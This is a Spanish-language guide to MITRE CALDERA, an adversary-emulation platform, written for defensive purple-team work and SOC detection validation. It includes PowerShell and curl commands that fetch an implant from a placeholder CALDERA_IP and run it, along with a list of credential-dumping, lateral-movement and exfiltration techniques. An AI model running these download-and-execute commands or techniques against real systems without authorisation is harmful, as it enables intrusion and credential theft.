CALDERA: Emulación de Adversarios Automatizada
Guía completa de MITRE CALDERA: plataforma de emulación de adversarios automatizada. Instalación, creación de adversary profiles, ejecución de operaciones, plugins, integración con ATT&CK, y uso para validar detecciones del SOC.
CALDERA automatiza la simulación de adversarios reales para validar que tus defensas funcionan
MITRE CALDERA (Cyber Adversary Language and Decision Engine for Red-team Automation) es una plataforma open-source que ejecuta técnicas ATT&CK reales contra sistemas de forma automatizada. Su propósito es validar que las detecciones del SOC, las reglas SIEM y los EDR realmente detectan lo que dicen detectar. Sin emulación, la cobertura defensiva es teórica. Con CALDERA, es verificada.
Arquitectura
CALDERA Server (C2)
│
├── Adversary Profiles (perfiles de ataque)
│ ├── APT3
│ ├── APT29
│ └── Custom profiles
│
├── Abilities (técnicas individuales)
│ ├── T1059.001: PowerShell execution
│ ├── T1003.001: LSASS dump
│ ├── T1021.002: SMB lateral movement
│ └── 500+ abilities mapeadas a ATT&CK
│
├── Planners (decisión engine)
│ ├── Atomic: ejecuta abilities en secuencia
│ ├── Batch: ejecuta todas en paralelo
│ └── Buckets: agrupa por táctica
│
└── Agents (implants en targets)
├── Sandcat (Go, multiplataforma)
├── Manx (reverse shell)
└── Ragdoll (Python)
Componentes clave
| Componente | Función |
|---|---|
| Server | C2 que coordina operaciones, web UI en puerto 8888 |
| Agent | Implant desplegado en targets (Sandcat por defecto) |
| Ability | Técnica individual ejecutable (script, comando) |
| Adversary | Perfil que agrupa abilities en secuencia lógica |
| Operation | Ejecución de un adversary profile contra agents |
| Planner | Algoritmo que decide el orden de ejecución |
| Fact | Información descubierta durante la operación (IPs, users, paths) |
| Plugin | Extensiones (Stockpile, Compass, Human, Training) |
Instalación
# Requisitos: Python 3.8+, Git
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
pip install -r requirements.txt
# Iniciar servidor
python server.py --insecure
# Acceder a UI: http://localhost:8888
# Credenciales default: admin/admin (CAMBIAR)
Desplegar agent en target
# Desde la UI: Agents → Deploy
# Genera comando para cada SO:
# Windows (PowerShell):
$server="http://CALDERA_IP:8888";
$url="$server/file/download";
$wc=New-Object System.Net.WebClient;
$wc.Headers.add("platform","windows");
$wc.Headers.add("file","sandcat.go");
$output="C:\Users\Public\sandcat.exe";
$wc.DownloadFile($url,$output);
Start-Process -FilePath $output -ArgumentList "-server $server -group red"
# Linux:
curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \
http://CALDERA_IP:8888/file/download > sandcat;
chmod +x sandcat;
./sandcat -server http://CALDERA_IP:8888 -group red &
Plugins principales
Stockpile (abilities library)
Librería de 500+ abilities mapeadas a ATT&CK. Es el contenido core.
Abilities incluidas:
Reconnaissance: whoami, hostname, ipconfig, net group
Credential Access: Mimikatz, LSASS dump, SAM dump
Lateral Movement: PsExec, WMI, SMB copy
Persistence: Scheduled tasks, registry keys, services
Collection: File search, clipboard, screenshots
Exfiltration: HTTP upload, DNS exfil
Compass
Visualización de la operación sobre la matriz ATT&CK. Muestra en tiempo real qué técnicas se ejecutaron, cuáles tuvieron éxito y cuáles fallaron.
Human
Simula actividad humana (mover ratón, abrir aplicaciones, navegar) para hacer la emulación más realista y evadir sandboxes que detectan falta de actividad.
Training
Módulo de entrenamiento con escenarios guiados para aprender a usar CALDERA.
Emu
Perfiles de adversarios pre-construidos basados en threat intelligence real:
- APT3 (Gothic Panda): técnicas de espionaje chino
- APT29 (Cozy Bear): cadena completa SolarWinds-style
- FIN6: ataques a POS y retail
- Sandworm: técnicas destructivas
Flujo de operación purple team
Paso 1: Planificar
Objetivo: Validar detección de cadena ransomware
Adversary profile: Custom "Ransomware Affiliate"
Abilities seleccionadas:
1. T1059.001: PowerShell execution
2. T1082: System information discovery
3. T1087.002: Domain account enumeration
4. T1003.001: LSASS credential dump
5. T1021.002: SMB lateral movement
6. T1560.001: Archive data (7-Zip)
7. T1490: Delete shadow copies (SIMULATED, no ejecutar real)
Paso 2: Ejecutar
Lanzar operación desde la UI. CALDERA ejecuta abilities en secuencia, recoge facts (información descubierta) y encadena técnicas automáticamente.
Operación en curso:
[✓] T1059.001: PowerShell whoami → user: CORP\jsmith
[✓] T1082: systeminfo → Windows 10 21H2
[✓] T1087.002: net group "Domain Admins" → 3 admins found
[✓] T1003.001: LSASS dump → 5 hashes extraídos
[✗] T1021.002: SMB lateral → BLOCKED by EDR
[✓] T1560.001: 7z archive created
[SKIP] T1490: Shadow copy delete (simulated only)
Paso 3: Analizar resultados
| Ability | ATT&CK | Resultado | Detectado por SOC? |
|---|---|---|---|
| PowerShell exec | T1059.001 | Ejecutado | Sí (Script Block Log) ✓ |
| System discovery | T1082 | Ejecutado | No (sin alerta) ✗ |
| AD enumeration | T1087.002 | Ejecutado | Sí (LDAP query alert) ✓ |
| LSASS dump | T1003.001 | Ejecutado | Sí (Sysmon Event 10) ✓ |
| SMB lateral | T1021.002 | Bloqueado por EDR | Sí (EDR blocked + alert) ✓ |
| Archive data | T1560.001 | Ejecutado | No (sin alerta) ✗ |
Gaps identificados:
- T1082: sin detección para reconocimiento local (baja prioridad, difícil de distinguir de uso legítimo)
- T1560.001: sin detección para compresión de archivos (media prioridad, indicador de pre-exfiltración)
Paso 4: Remediar y re-validar
- Crear regla Sigma para T1560.001: detectar 7z.exe/rar.exe en servidores
- Re-ejecutar operación CALDERA
- Verificar que la nueva regla detecta T1560.001
- Documentar resultado en Navigator layer
Comparativa con otras herramientas de emulación
| Herramienta | Tipo | Complejidad | Coste | Automatización |
|---|---|---|---|---|
| CALDERA | Plataforma completa | Alta | Free (OSS) | Total |
| Atomic Red Team | Tests individuales | Baja | Free (OSS) | Parcial (scripts) |
| SCYTHE | Plataforma comercial | Media | $$$ | Total |
| AttackIQ | Plataforma comercial | Media | $$$ | Total |
| Infection Monkey | Propagación automática | Media | Free (OSS) | Total |
| Vectr | Tracking purple team | Baja | Free (OSS) | Tracking solo |
Recomendación:
- Equipos pequeños: Atomic Red Team (simple, rápido)
- Equipos medianos: CALDERA (potente, gratuito, requiere setup)
- Equipos enterprise: AttackIQ o SCYTHE (soporte comercial, integración)
Mejores prácticas
- Nunca en producción sin aprobación: CALDERA ejecuta técnicas reales
- Empezar con perfiles predefinidos: APT29 profile es el más completo
- Documentar cada operación: qué se ejecutó, qué se detectó, qué no
- Ciclo continuo: ejecutar mensualmente, comparar con ejecuciones anteriores
- Involucrar al SOC: el blue team debe intentar detectar la operación en tiempo real
- Cleanup: CALDERA tiene cleanup abilities, verificar que se ejecutan post-operación
Conclusión
CALDERA cierra el ciclo ATT&CK: de conocer las técnicas (ATT&CK) a implementar defensas (D3FEND) a validar que funcionan (CALDERA). Sin emulación, la cobertura defensiva es una suposición. Con CALDERA, es un dato verificado. Es la herramienta que transforma purple teaming de manual y ad-hoc a automatizado y repetible.
Fuentes y referencias
- MITRE: CALDERA
- MITRE: CALDERA GitHub repository
- Center for Threat-Informed Defense: "Adversary Emulation Library"
- SANS: "Purple Teaming with CALDERA" (2024)
Preguntas frecuentes
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.